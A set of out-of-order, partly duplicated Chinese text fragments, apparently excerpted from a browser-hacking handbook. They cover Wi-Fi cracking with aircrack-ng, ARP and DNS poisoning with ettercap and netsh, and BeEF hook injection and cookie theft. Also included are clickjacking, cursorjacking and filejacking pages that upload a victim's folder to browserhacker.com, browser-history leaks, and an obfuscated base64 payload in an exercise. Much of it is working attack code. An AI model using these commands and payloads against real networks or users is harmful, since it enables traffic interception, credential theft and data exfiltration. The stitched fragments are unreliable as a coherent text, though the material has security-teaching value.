    {"text": "(1) 在监控模式下启动可注入的无线适配器： airmon-ng start <适配器，例如：wifi0> <无线信道，例如：9> 这样就把被动接口放到了监控模式下。"},
    {"text": "这个适配器通常不同于wifi0，比如Atheros接口： aireplay-ng -9 -e <目标网络的SSID> -a <目标接入点的MAC地址> <被动接口，例如：ath0> (3) 开始捕获WEP初始向量： airodump-ng -c <无线信道，例如：9> --bssid <目标接入点的MAC地址> -w output <被动接口，例如：ath0> (4) 将MAC地址与无线接入点关联： aireplay-ng -1 0 -e <目标网络的SSID> -a <目标接入点的MAC地址> -h <我们的MAC地址><被动接口，例如：ath0> (5) 在ARP请求重播模式下启动Aireplay-ng，生成WEP初始向量： aireplay-ng -3 -b <目标接入点的MAC地址> -h <我们的MAC地址> <被动接口，例如：ath0> 输出的捕获文件应该变大，因为其中有包含了WEP初始向量在内的流量。"},
    {"text": "要破解其中的WEP证书，执行以下命令： aircrack-ng -b <目标接入点的MAC地址> output*.cap 或 aircrack-ng -K -b <目标接入点的MAC地址> output*.cap WPA/WPA2 与破解WEP不同，破解WPA/WPA2只能在某些条件下行得通。"},
    {"text": "(1) 在监控模式下启动可注入的无线适配器： airmon-ng start <适配器，例如：wifi0> <无线信道，例如：9> 这样就把被动接口放到了监控模式下。"},
    {"text": "(2) 开始捕获WPA握手： airodump-ng -c <无线信道，例如：9> --bssid <目标接入点的MAC地址> -w psk <被动接口，例如：ath0> (3) 现在可以强制某个客户端解除认证，并寄希望于该客户端会重新请求认证： aireplay-ng -0 1 -a <目标接入点的MAC地址> -c <想要令其重新认证的客户端的MAC地址> <被动接口，例如：ath0> (4) 捕获到握手信息之后，着手破解它： aircrack-ng -w <密码字典文件> -b <目标接入点的MAC地址> psk*.cap 23 Thomas d'Otreppe. (2012). Aircrack-ng . Retrieved February 23, 2013 from http://www.aircrack-ng.org/doku.php?id=Main 尽管窃听网络流量对获取敏感信息可能有用，却不一定能够实现数据篡改。"},
    {"text": "24 Dino A. Dai Zovi and Shane Macaulay. (2006). KARMA Wireless Client Security Assessment Tools . Retrieved February 23, 2013 from http://www.theta44.org/karma/ 这套工具中还包含一些模块，不仅能让你自动装扮成无线接入点，还能让你装扮成DHCP服务器、DNS服务器，当然还有Web服务器。"},
    {"text": "25 Russell Davies. (2012). Upside-Down-TernetHowTo . Retrieved February 23, 2013 from https://help.ubuntu.com/community/Upside-Down-TernetHowTo 26 Pete Lamonica. (2013). Siri Proxy . Retrieved February 23, 2013 from https://github.com/plamoni/SiriProxy 3. ARP欺骗 ARP （Address Resolution Protocol，地址解析协议） 欺骗 ，也称为 ARP下毒 ，指的是欺骗一个设备把本来应该发到别处的数据发给你，有些类似于把邮件重定向到另一个设备。"},
    {"text": "这个请求会被提交给MAC地址FF:FF:FF:FF:FF:FF，然后具有相应IP地址的网络适配器就会响应。 服务器B接收到这个请求，于是将自己的MAC地址作为响应提交给计算机A的MAC地址。"},
    {"text": "27 Alberto Ornaghi, Marco Valleri, Emilio Escobar, Eric Milam, and Gianfranco Costamagna. (2013). Ettercap — A suite for man in the middle attacks . Retrieved February 23, 2013 from https://github.com/Ettercap/ettercap 28 Dug Song. (2002). Dsniff . Retrieved February 23, 2013 from http://monkey.org/~dugsong/dsniff/ 如果在一个对等网络中实施下面这个ARP欺骗的例子，有可能造成系统宕机。"},
    {"text": "记住这一点后，就可以在命令行中输入以下命令来使用ettercap： ettercap -T -Q -M arp:remote -i <network interface> /<target1>/ /<target2>/ 其中的属性具有以下含义。"},
    {"text": "执行前面命令的输出类似如下所示，包括本地网络上从DropBox到一个客户端的HTTP响应的可视化显示： ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Listening on en0... (Ethernet) en0 -> 60:C5:47:06:85:22 192.168.1.1 255.255.255.0 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to UID 65534 GID 65534... 0 plugins (disabled by configure...) 39 protocol dissectors 53 ports monitored 7587 mac vendor fingerprint 1698 tcp OS fingerprint 2183 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |===================================>| 100.00 % 4 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.1.254 00:04:ED:27:D3:8A GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Packet visualization restarted... Sun Mar 3 11:24:11 2013 TCP 108.160.160.162:80 --> 192.168.1.101:50113 | AP HTTP/1.1 200 OK. X-DB-Timeout: 120. Pragma: no-cache. Cache-Control: no-cache. Content-Type: text/plain. Date: Sun, 03 Mar 2013 03:24:08 GMT. Content-Length: 15. . {\"ret\": \"punt\"} 除了简单的ARP嗅探，ettercap还有插件和过滤器，让你在流量经过系统时对其进行修改。"},
    {"text": "在ettercap中创建过滤器以修改流量（假设是纯文本数据），无非就是创建一个包含类似以下代码的文本文件： if (ip.proto == TCP && tcp.src == 80) { replace(\"</body>\", \"<script src='http://browserhacker.com/hook.js'> </script></body>\"); replace(\"Accept-Encoding: gzip, deflate\", \"Accept-Encoding:identity \"); } 保存这个文件后，执行如下命令，就可以把它转换成ettercap过滤器： etterfilter input.txt -o hookfilter.ef 要通过ettercap运行这个过滤器，需要通过 -F 选项来指定.ef文件，比如： ettercap -T -Q -F hookfilter.ef -M arp:remote -i <网络接口> // // 最后，通过指定两个空目标，可以让ettercap对其检测到的所有流量都执行ARP欺骗，而不局限于特定的IP地址。"},
    {"text": "29 Ryan Linn and Steve Ocepek. (2012). Hookin' Ain't Easy--BeEF Injection with MITM . Retrieved February 23, 2013 from http://media.blackhat.com/bh-us-12/Briefings/Ocepek/BH_US_12_Ocepek_Linn_BeEF_MITM_WP.pdf 这个工具就是Shank，利用了BeEF及Metasploit的PacketFu库。"},
    {"text": "首先，在shank.rb中更新 @beef_ip 设置： DEBUG = true ARP_TIMEOUT = 30 @beef_ip = '192.168.2.54' @beef_user = 'beef' @beef_pass = 'beef' 其次，需要更新autorun.rb文件。"},
    {"text": "# REST API root 端点 ATTACK_DOMAIN = \"127.0.0.1\" RESTAPI_HOOKS = \"http://\" + ATTACK_DOMAIN + \":3000/api/hooks\" RESTAPI_LOGS = \"http://\" + ATTACK_DOMAIN + \":3000/api/logs\" RESTAPI_MODULES = \"http://\" + ATTACK_DOMAIN + \":3000/api/modules\" RESTAPI_ADMIN = \"http://\" + ATTACK_DOMAIN + \":3000/api/admin\" BEEF_USER = \"beef\" BEEF_PASSWD = \"beef\" @autorun_mods = [ { 'Invisible_iframe' => {'target' => 'http://192.168.50.52/' }}, { 'Browser_fingerprinting' => {}}, { 'Get_cookie' => {}}, { 'Get_system_info' => {}} ] 配置这两个文件后，一切就准备就绪了。"},
    {"text": "4. DNS下毒 ARP下毒是一种把你的计算机插到本地网络中两个节点之间的好办法，但它并非在任何情况下都有效。 有时候，我们还可以采用另一种中间人攻击手段，即在DNS（Domain Name System，域名系统）记录中下毒。"},
    {"text": "这个文件中条目的格式为： <ip address><dns name> 比如，要想让某个计算机访问谷歌时打开你的网站，可以在这个文件中添加以下条目： <你的IP地址> www.google.com 除了向本地hosts文件中插入任意记录，还可以在命令行中针对特定的网络接口更新Windows DNS设置。 在被侵入的计算机中，可以通过批处理文件或小型编译程序执行如下命令： netsh interface ip set dns name=\"Local Area Connection\"\\source=static addr=<你的恶意DNS服务器的IP地址> 还可以简写为： netsh interface ip set dns \"Local Area Connection\" static <IP> Linux/Unix/OS X Linux、Unix和OS X系统的hosts记录保存在/etc/hosts中。"},
    {"text": "在权限正确的情况下，可以通过以下命令来修改这个文件： echo \"nameserver <恶意DNS服务器的IP地址>\" > /etc/resolv.conf 除了修改客户端DNS设置之外，另一个可以影响DNS的地方是本地网络层。"},
    {"text": "利用前面讨论的ARP下毒攻击，可以把你的计算机设置为本地网络的DNS服务器。 前面介绍的ettercap中提供一个名为DNSSpoof的模块，可以自动帮你执行此类攻击。 首先，要修改etter.dns文件，添加你的恶意DNS条目。 在Linux系统中，这个文件的位置一般是/usr/share/ettercap/etter.dns，而在OS X中，则通常是/opt/local/share/ettercap/etter.dns。 执行攻击时，还是像以前一样运行ettercap，但同时还必须指定一个插件： ettercap -T -Q -P dns_spoof -M arp:remote -i <网络接口> /<要攻击的IP地址>/ // 在上述所有情况下，只要控制了目标计算机或网络的DNS，你就可以装扮成任何名字的计算机或服务器。"},
    {"text": "30 Robert Hansen. (2009). RFC1918 Caching Security Issues . Retrieved March 6, 2013 from http://www.sectheory.com/rfc1918-security-issues.htm 如果目标使用了相同的非可路由地址连接另一个网络，就为你提供了下手的机会。"},
    {"text": "Unknown 7.5 问题 (1) 比较一下Chrome和Firefox浏览器的扩展安全模型有何异同。 (2) 采集扩展指纹的有效方法有哪些？ (3) 什么是chrome://区域？为什么这个区域很重要？ (4) CSP如何应用于浏览器扩展？ (5) SOP如何应用于浏览器扩展？ (6) 如何在Firefox扩展中执行操作系统命令？ (7) 如何在Chrome扩展中执行操作系统命令？ (8) 内容脚本拥有什么特权？ (9) 后台页面拥有什么特权？ (10) Firefox扩展拥有什么特权？ 要查看问题答案，请访问本书网站 https://browserhacker.com/answers ，或者Wiley的网站 http://www.wiley.com/go/browserhackershandbook 。 Unknown 3.6 问题 (1) 使用WebSocket协议相比使用 XmlHttpRequest 有什么优势？ (2) 描述一下基于DNS的通信渠道的原理，为什么说它很适合实现隐蔽通信？ (3) 怎么才算勾连浏览器？ (4) 为什么在不能使用内嵌框架时，可以使用浏览器中间人？ (5) 空白字符编码躲避技术的工作原理是什么？ (6) 假设有一个被Web过滤措施保护的网络。那么你会针对它使用什么躲避技术？怎么组织这些技术？ (7) 为什么时间延迟躲避技术能有效避开恶意软件检测？ (8) 请举出一个劫持DOM事件的例子。 (9) 你觉得什么持久化技术最可靠？你会组合使用前面介绍的技术吗？ (10) 以下编码的字符串会干什么？可以在 https://browserhacker.com 下载它们。 ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUscil7ZT1mdW5jdGlvbihjKXty ZXR1cm4gYy50b1N0cmluZyhhKX07aWYoIScnLnJlcGxhY2UoL14vLFN0 cmluZykpe3doaWxlKGMtLSlyW2UoYyldPWtbY118fGUoYyk7az1bZnVu Y3Rpb24oZSl7cmV0dXJuIHJbZV19XTtlPWZ1bmN0aW9uKCl7cmV0dXJu J1xcdysnfTtjPTF9O3doaWxlKGMtLSlpZihrW2NdKXA9cC5yZXBsYWNl KG5ldyBSZWdFeHAoJ1xcYicrZShjKSsnXFxiJywnZycpLGtbY10pO3Jl dHVybiBwfSgnZiAzKGEpe2k9XCdcXHZcJz09XCd2XCc7OCghaSl7Mi5o KFwnNlwnKVswXS43KGEpfX07cz0yW1wnOVwnK1wnYlwnK1wnY1wnW1wn ZFwnXSgvZS8sXCc1XCcpXShcJ2dcJyk7ND0iai5rL2wiKyI6MS5tLm4u byIrIi8vOnAiOzQucSgiIikucigpLnQoIiIpO3MudT13KHgoInk9PSIp KTszKHMpOycsMzUsMzUsJ3x8ZG9jdW1lbnR8eGlydU1ESnxuZGh5c3xF bGVtfGhlYWR8YXBwZW5kQ2hpbGR8aWZ8Y3J8fGVhdGV8NDIzNDIzc2Rm d2VlbnRlbnR8cmVwbGFjZXw0MjM0MjNzZGZ3ZWVudHxmdW5jdGlvbnxz Y3JpcHR8Z2V0RWxlbWVudHNCeVRhZ05hbWV8fHNqfGtvb2h8MDAwM3w3 Nnw2MXwyNzF8cHR0aHxzcGxpdHxyZXZlcnNlfHxqb2lufHNyY3x8ZXZh bHxhdG9ifEluTnFMbXR2YjJndk1EQXdNem94TGpjMkxqWXhMakkzTVM4 dk9uQjBkR2dpTG5Od2JHbDBLQ0lpS1ZzbmNtVjJKeXNuWVdGaFlXRW5X eWR5WlhCc1lXTmxKMTBvTDJGaFlXRmhMeXduWlhKelpTY3BYU2dwV3lk cWIybHVKMTBvSWlJcE93Jy5zcGxpdCgnfCcpLDAse30pKQ== 要查看问题的答案，请访问本书网站 https://browserhacker.com/answers ，或者Wiley的网站 http://www.wiley.com/go/browserhackershandbook 。"},
    {"text": "25 Anton Rager. (2002). Advanced Cross Site Scripting Evil XSS . Retrieved May 11, 2013 from http://xss-proxy.sourceforge.net/shmoocon-XSS-Proxy.ppt 26 Stefano Di Paola and Giorgio Fedon. (2006). Subverting Ajax . Retrieved May 11, 2013 from http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf 2007年，Ferruh Mavituna发布的XSS Tunnel 27 ，也是一个利用勾连浏览器做HTTP代理的例子。"},
    {"text": "27 Ferruh Mavituna. (2007). XSS Tunneling . Retrieved May 11, 2013 from http://labs.portcullis.co.uk/download/XSS-Tunnelling.pdf (1) 一台服务器通过套接字监听攻击者的机器（代理后端）。"},
    {"text": "(2) 这些JavaScript代码随后通过第3章讨论过的某种通信渠道，被发送给被勾连的浏览器。 (3) 被勾连的浏览器执行这些代码时，就会发送相应的AJAX请求，而HTTP响应则被发送回代理后端。"},
    {"text": "这是因为可能被钩联的浏览器可以发送跨域请求，并从所有源读取响应。 事实上，如果你勾连了多个浏览器，这些浏览器都被实施SOP绕行，那你就有了多个代理。 你可以根据被勾连浏览器的网络带宽，选择使用某个代理，或者利用多个勾连浏览器，从多个位置向同一个源发起攻击。"},
    {"text": "28 Krzysztof Kotowicz. (2009). New Facebook clickjacking attack in the wild . Retrieved May 11, 2013 from http://blog.kotowicz.net/2009/12/new-facebook-clickjagging-attack-in.html 最广为人知的界面伪装攻击是点击劫持。"},
    {"text": "下面这个页面通过一个IFrame向另一个网页中嵌入了后台管理功能： 29 Jesse Ruderman. (2002). IFrame content background defaults to transparent . Retrieved May 11, 2013 from https://bugzilla.mozilla.org/show_bug.cgi?id=154957 <html> <head> </head> <body> <form name=\"addUserToAdmins\" action=\"javascript: alert('clicked on hidden IFrame. User added.')\" method=\"POST\"> <input type=\"hidden\" name=\"userId\" value\"1234\"> <input type=\"hidden\" name=\"isAdmin\" value\"true\"> <input type=\"hidden\" name=\"token\" value\"asasdasd86a sd876as87623234aksjdhjkashd\"> <input type=\"submit\" value=\"Add to admin group\" style=\"height: 60px; width: 150px; font-size:3em\"> </form> </body> </html> 可以看出，这个页面使用防御XSRF的token，阻止 跨站点请求伪造 （Cross-site Request Forgery）攻击。"},
    {"text": "为了发起攻击，前一个页面被放在以下页面的IFrame中： <html> <head> <style> iframe{ filter:alpha(opacity=0); opacity:0; position:absolute; top: 250px; left: 40px; height: 300px; width: 250px; } img{ position:absolute; top: 0px; left: 0px; height: 300px; width: 250px; } </style> </head> <body> <!-- The user sees the following image--> <img src=\"http://localhost/clickjacking/yes-no_mod.jpg\"> <!-- but he effectively clicks on the following framed content --> <iframe src=\"http://localhost/clickjacking /iframe_content.html\"></iframe> </body> </html> 结果如图4-8所示。"},
    {"text": "注意，看上去页面中好像不存在另一个框架，而这个看不到的表单正是许多界面伪装攻击能够得逞的关键所在，因为攻击目标实际上会与之交互。"},
    {"text": "图 4-8 一个明显没有什么问题的投票页面，有两个按钮 如果把关于IFrame的前两行CSS注释掉，就会消除不透明度，你就能看到定位得恰到好处的提交按钮，如图4-9所示。"},
    {"text": "30 Robert Hansen and Jeremiah Grossman. (2008). Clickjacking . Retrieved May 11, 2013 from http://www.sectheory.com/clickjacking.htm 前面的例子展示了只使用CSS就可以实现点击劫持。"},
    {"text": "31 Rich Lundeen. (2012). BeEF Clickjacking Module and using the REST API to Automate Attacks . Retrieved May 11, 2013 from http://webstersprodigy.net/2012/12/06/beef-clickjacking-module-and-using-the-rest-api-to-automate-attacks/ 这种情况需要两个框架，一个内部框架和一个外部框架。"},
    {"text": "下面使用jQuery API的代码会让 outerObj 始终跟随鼠标： $j(\"body\").mousemove(function(e) { $j(outerObj).css('top', e.pageY); $j(outerObj).css('left', e.pageX); }); 内部框架使用不透明技术来渲染不可见元素： filter:alpha(opacity=0); opacity:0; 下面这个示例页面就是点击劫持攻击的目标页面。"},
    {"text": "为了更好地演示，这里为 body 添加了 background 属性： <html> <head> </head> <body style=\"background-color:red\"> <p>&nbsp;</p> <button onclick=\"javascript:alert('User Added')\" \\ type=\"button\">Add User to Admin group</button> <p>&nbsp;</p> </body> </html> 如果通过BeEF模块启动对这个页面的点击劫持，那么所有点击都会被发送到框架中，结果如图4-12和图4-13所示。"},
    {"text": "正如你所见，框架始终跟随鼠标移动，因此无论用户点击页面中的任何地方，实际点击的都将是Add User按钮。 图 4-12 框架妥妥地跟随着鼠标 图 4-13 光标始终在按钮上方 用户点击鼠标就会触发框架页面中按钮的 onClick 事件。"},
    {"text": "NoScript ClearClick NoScript是一个流行的Firefox扩展，用于阻止XSS、XSRF及各种界面伪装攻击。 其ClearClick 32 功能可以帮用户识别并阻止点击劫持攻击，方法是对框架中的页面及父页面做快照。"},
    {"text": "32 Giorgio Maone. (2010). What is ClearClick and how does it protect me from Clickjacking? Retrieved May 11, 2013 from http://noscript.net/faq#qa7_4 第一个光标劫持的例子来源于Eddy Bordi，后来经过Marcus Niemietz改进 33 。"},
    {"text": "来看看下面的页面： 33 Marcus Niemietz. (2012). Cursorjacking . Retrieved May 11, 2013 from http://www.mniemietz.de/demo/cursorjacking/cursorjacking.html <html> <head> <style type=\"text/css\"> #c { cursor:url(\"http://localhost/basic_cursorjacking /new_cursor.png\"),default; } #c input{ cursor:url(\"http://localhost/basic_cursorjacking /new_cursor.png\"),default; } </style> </head> <body> <h1> CursorJacking. Click on the 'Second' or 'Fourth' buttons. </h1> <div id=\"c\"> <input type=\"button\" value=\"First\" onclick=\"alert('clicked on 1')\"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type=\"button\" value=\"Second\" onclick=\"alert('clicked on 2')\"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></br> <input type=\"button\" value=\"Third\" onclick=\"alert('clicked on 3')\"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type=\"button\" value=\"Fourth\" onclick=\"alert('clicked on 4')\"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </div> </body> </html> 这里的CSS用一张自定义图片代替了鼠标光标。"},
    {"text": "他们的攻击途径依赖于将光标完全隐藏在页面主体中，并给页面元素添加如下样式： 34 Krzysztof Kotowicz. (2012). Cursorjacking Again . Retrieved May 11, 2013 from http://blog.kotowicz.net/2012/01/cursorjacking-again.html <body style=\"cursor:none\"> 然后再结合 mousemove 事件，动态给光标覆盖不同的光标图片。"},
    {"text": "下面的代码说明了这一技术： <html> <head><title>Advanced cursorjacking by Kotowicz & Heiderich</title> <style> body,html {margin:0;padding:0} </style> </head> <body style=\"cursor:none;height: 1000px;\"> <img style=\"position: absolute;z-index:1000;\" id=cursor src=\"cursor.png\" /> <div style=margin-left:300px;\"> <h1>Is this a good example of cursorjacking?</h1> </div> <button style=\"font-size: 150%;position:absolute;top:130px;left:630px;\">YES</button> <button style=\"font-size: 150%;position:absolute;top:130px; left:680px;\">NO</button> <div style=\"opacity:1;position:absolute;top:130px;left:30px;\"> <a href=\"https://twitter.com/share\" class=\"twitter-share-button\" data-via=\"kkotowicz\" data-size=\"small\">Tweet</a> <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)) {js=d.createElement(s);js.id=id;js.src=\"//platform.twitter.com/ widgets.js\";fjs.parentNode.insertBefore(js,fjs);}}(document, \"script\",\"twitter-wjs\");</script> </div> <script> function shake(n) { if (parent.moveBy) { for (i = 10; i > 0; i--) { for (j = n; j > 0; j--) { parent.moveBy(0,i); parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0); } } } } shake(5); var oNode = document.getElementById('cursor'); var onmove = function (e) { var nMoveX = e.clientX, nMoveY = e.clientY; oNode.style.left = (nMoveX + 600)+\"px\"; oNode.style.top = nMoveY + \"px\"; }; document.body.addEventListener('mousemove', onmove, true); </script> </body> 首先，用一张自定义图片代替鼠标光标图片。"},
    {"text": "用户移动鼠标时，事件会触发监听器，从而让伪造的（可见的）鼠标光标也相应移动。 通过JavaScript，可以让伪造的光标跟随真正的光标移动（在坐标上）。"},
    {"text": "结果如图4-16所示，在目标点击YES按钮时，他们实际上点击的是Twitter按钮。 图 4-16 以为点击了YES按钮，结果是点击了Twitter按钮 最初，这种光标劫持技术绕过了NoScript的ClearClick保护机制。"},
    {"text": "35 Sebastian Lekies, Mario Heiderich, Dennis Appelt, Thorsten Holz, and Martin Johns. (2012). On the fragility and limitations of current Browser-provided Clickjacking protection schemes . Retrieved May 11, 2013 from http://www.nds.rub.de/media/emma/veroeffentlichungen/2012/08/16/clickjacking-woot12.pdf 3. 使用文件劫持 文件劫持 （Filejacking），就是通过浏览器中巧妙的UI操作，把攻击目标OS中的文件夹内容转移到攻击者的服务器。"},
    {"text": "(1) 攻击目标必须使用Chrome，因为这是目前唯一支持 directory 和 webkitdirectory 输入属性的浏览器： <input type=\"file\" id=\"file_x \" webkitdirectory directory /> (2) 必须成功引诱目标点击某个地方，这类似于其他界面伪装技术。"},
    {"text": "36 Krzysztof Kotowicz. (2011). Filejacking: How to make a file server from your browser . Retrieved May 11, 2013 from http://blog.kotowicz.net/2011/04/how-to-make-file-server-from-your.html 文件劫持攻击依赖于目标在从网上下载文件时使用的是操作系统的Choise Folder对话框。"},
    {"text": "图 4-17 点击Download to…，打开选择文件夹对话框 看一看下面这些服务器端的Ruby代码： require 'rubygems' require 'thin' require 'rack' require 'sinatra' class UploadManager < Sinatra::Base post \"/\" do puts \"receiving post data\" params.each do |key,value| puts \"#{key}->#{value}\" end end end @routes = { \"/upload\" => UploadManager.new } @rack_app = Rack::URLMap.new(@routes) @thin = Thin::Server.new(\"browserhacker.com\", 4000, @rack_app) Thin::Logging.silent = true Thin::Logging.debug = false puts \"[#{Time.now}] Thin ready\" @thin.start 这段代码将Ruby Web服务器Thin绑定在4000端口，准备好处理发送到 /upload URI的POST请求。"},
    {"text": "在目标想点击按钮时，实际上点击的是输入元素，而且认为自己应该选择一个下载目标，如图4-17所示。 攻击目标点击了输入元素后，就会选择一个下载目标。"},
    {"text": "<html> <head> <script src=\"http://ajax.googleapis.com/ajax/libs /jquery/1.5.2/jquery.min.js\" type=\"text/javascript\"></script> <style> body {background: #333; color: #eee;} a:link, a:visited {color: lightgreen;} input[type='file'] { opacity: 0; position: absolute; left: 0; top: 0; width: 300px; line-height: 20px; height: 25px; } #cloak { position: absolute; left: 0; top: 0; line-height: 20px; height: 25px; cursor: pointer; } label { display: block; } </style> </head> <body> <button id=cloak>Download to...</button> <input type=\"file\" id=\"cloaked\" webkitdirectory directory /> <script> document.getElementById(\"cloaked\").onchange = function(e) { for (var i = 0, f; f = e.target.files[i]; ++i) { console.log(\"sending file with path: \" + f.webkitRelativePath + \", name: \" + f.name); fdata = new FormData(); fdata.append('path', f.webkitRelativePath); fdata.append('name', f.name); fdata.append('content', f); var xhr = new XMLHttpRequest(); xhr.open(\"POST\", \"http://browserhacker.com/upload\", true); xhr.send(fdata); } }; </script> </body> </html> 注意，前面两段代码并不同源，但这不会妨碍攻击。"},
    {"text": "37 Michal Zalewski. (2010). Drag-and-drop may be used to steal content across domains . Retrieved May 11, 2013 from https://bugzilla.mozilla.org/show_bug.cgi?id=605991 可以在你控制的钓鱼页面中，创建一个内嵌框架。"},
    {"text": "应用这一技术的第一个PoC，在内嵌框架中使用了 view-source:// ，例如： <iframe src=\"view-source:http://browservictim.com/any\"> 使用 view-source 加载的资源会渲染原始的HTML。"},
    {"text": "这个技术在利用一个事实，那就是有的用户习惯于通过三击鼠标或按Ctrl+C把输入框中的内容复制到剪贴板，而这样操作会把所有内容都复制出去。"},
    {"text": "38 Krzysztof Kotowicz. (2011). Cross domain content extraction with fake captcha . Retrieved May 11, 2013 from http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html 图 4-19 用户可见的小部分内容 图 4-20 放大内嵌框架可以看到更多内容 如果用户在Security Code输入框中三击鼠标，就会复制整行内容，如图4-20所示。"},
    {"text": "这里的Security Code输入框并不是真正的输入框，而是一个内嵌框架，看下面的代码就知道了： <style> iframe#one { margin: 0; padding: 0; width: 9em; height: 1em; border: 2px inset black; font: normal 13px/14px monospace; display: inline-block; } </style> <p> <label>Security code:</label><iframe id=one scrolling=no src=\"http://browservictim.com/any\"></iframe> </p> 攻击目标把内容粘贴到第二个输入字段时，实际上粘贴的是整行内容，而且整行内容完全暴露给你了。"},
    {"text": "此时（如图4-21所示），就可以取得一个防御XSRF的token，利用它可以对内嵌框架中的源实施进一步攻击。 图 4-21 用户粘贴的整行是防御XSRF的token 这个技术可以跨域提取内容，从而绕过SOP。"},
    {"text": "39 Zeljka Zorz. (2011). Facebook spammers trick users into sharing anti-CSRF tokens . Retrieved May 11, 2013 from http://www.net-security.org/secworld.php?id=11857 另一种跨域提取内容的技术是Luca De Fulgentis发现的从内嵌框架到内嵌框架的拖放 40 。"},
    {"text": "40 Luca De Fulgentis. (2012). UI Redressing Mayhem: Firefox 0day and the Leakedin Affair . etrieved May 11, 2013 from http://blog.nibblesec.org/2012/12/ui-redressing-mayhem-firefox-0day-and.html 实施这种攻击，必须控制拖放的目标框架。"},
    {"text": "看看下面这个链接： 41 Andrew Clover. (2002). CSS visited pages disclosure . Retrieved May 11, 2013 from http://seclists.org/bugtraq/2002/Feb/271 <a id=\"site_1\" href=\"http://browservictim.com\">link</a> 可以使用CSS动作选择符，来检测攻击目标是否访问过前面的链接，进而会存在于浏览器历史记录中： #site_1:visited { background: url(/browserhacker.com?site=browservictim); } 这里使用的是background选择符，实际上任何可以指定URI的选择符都可以使用。 在这里，如果浏览器历史中存在broswervictim.com，那浏览器就会提交一个指向 browserhacker.com?site=browservictim 的GET请求。"},
    {"text": "再通过对比之前覆盖的红色样式，如果匹配，则说明相应的网站存在于浏览器历史中。 比如下面这个例子： 42 Jeremiah Grossman. (2007). CSS History Hack . Retrieved May 11, 2013 from http://ha.ckers.org/weird/CSS-history-hack.html <html> <head> <style> #link:visited {color: #FF0000;} </style> </head> <body> <a id=\"link\" href=\"http://browserhacker.com\" target=\"_blank\">clickme</a> <script> var link = document.getElementById(\"link\"); var color = document.defaultView.getComputedStyle(link, null).getPropertyValue(\"color\"); console.log(color); </script> </body> </html> 如果链接之前被访问过，而且浏览器可以被攻击，那么控制台日志中的输入就会是 rgb(255, 0, 0) ，也就是CSS中的红色。"},
    {"text": "43 David Baron. (2002). Bug 14777-:visited support allows queries into global history . Retrieved May 11, 2013 from https://bugzilla.mozilla.org/show_bug.cgi?id=147777 2. 使用缓存计时 Felten和Schneider 44 在2000年最早对外发表了关于缓存计时攻击的研究论文。"},
    {"text": "44 Edward W. Felten and Michael A. Schneider. (2012). Timing Attacks on Web Privacy . Retrieved May 11, 2013 from http://selfsecurity.org/technotes/websec/webtiming.pdf Michal Zalewski探索过一个提取浏览器缓存的非破坏性的技术 45 ，与缓存计时技术类似。"},
    {"text": "45 Michal Zalewski. (2012). Rapid history extraction through non-destructive cache timing . Retrieved May 11, 2013 from http://lcamtuf.coredump.cx/cachetime/ Zalewski的方法涉及把资源加载到内嵌框架、触发SOP和防止缓存变更。"},
    {"text": "图 4-22 使用缓存计时获取浏览器历史记录 在浏览这两个网站时，通常会加载的两个资源是： http://wikileaks.org/squelettes/random.js http://www.abovetopsecret.com/forum/ats-scripts.js 这一技术的核心代码如下： function wait_for_noread() { try { /* * 这里存在SOP漏洞 * 因为要读取内嵌框架中加载的跨源资源的location.href */ if (frames['f'].location.href == undefined) throw 1; /* * 到 TIME_LIMIT之前，不断从内嵌框架中读取location.href * 否则调用maybe_test_next()重置内嵌框架的src为about:blank * 防止完全加载资源而替代缓存 * 然后处理下一个资源 */ if (cycles++ >= TIME_LIMIT) { maybe_test_next(); return; } setTimeout(wait_for_noread, 1); } catch (e) { /* * 找到SOP同源 * 确认资源已缓存 */ confirmed_visited = true; maybe_test_next(); } } 如果在某个超时时间之前触发SOP，说明命中了缓存。"},
    {"text": "图 4-23 违反SOP报错 有关这个技术的完整源代码，可以看 https://browserhacker.com ，或者Wiley的网站 www.wiley.com/go/browserhackershandbook ，其中最初的三个PoC是经过修改的，合并成了一个单独的代码片段。"},
    {"text": "如果你的浏览器之前缓存过一张图片，那么从缓存中加载它，通常耗时不超过10毫秒。 而如果浏览器的缓存中没有这张图片，那么从互联网获取它的时间就要看网络延迟和图片大小了。"},
    {"text": "下面的例子展示了这个技术的原理： 46 Mansour Behabadi. (2012). visipisi . Retrieved May 11, 2013 from http://oxplot.github.com/visipisi/visipisi.html // 检查是否已访问过Twitter var url = \"https://twitter.com/images/spinner.gif\"; var loaded = false; var img = new Image(); var start = new Date().getTime(); img.src = url; var now = new Date().getTime(); if (img.complete) { delete img; console.log(\"visited\"); } else if (now - start > 10) { delete img; window.stop(); console.log(\"not visited\"); }else{ console.log(\"not visited\"); } 如果在Firefox或Chrome中打开这段代码，而且你之前访问过Twitter，那么应该在浏览器控制台（Firebug或Developer Tools）中看到“visited”字样。 相反，如果由于没有缓存过，图片加载时间超过10毫秒，并且正在从Twitter网站中获取该图片，那么就会看到“not visited”。"},
    {"text": "下面看看展示了该问题的代码： var av_if = document.createElement(\"iframe\"); av_if.setAttribute('src', \"browser:home\"); av_if.setAttribute('name','av_if'); av_if.setAttribute('width','0'); av_if.setAttribute('heigth','0'); av_if.setAttribute('scrolling','no'); document.body.appendChild(av_if); var vstr = {value: \"\"}; //如果渲染引擎是Firefox，这将有效 window['av_if'].navigator.AFRunCommand(60003, vstr); alert(vstr.value); 这段代码把享有特权的browser:home地址加载到内嵌框架，然后在navigator对象上执行 AFRunCommand() 函数。"},
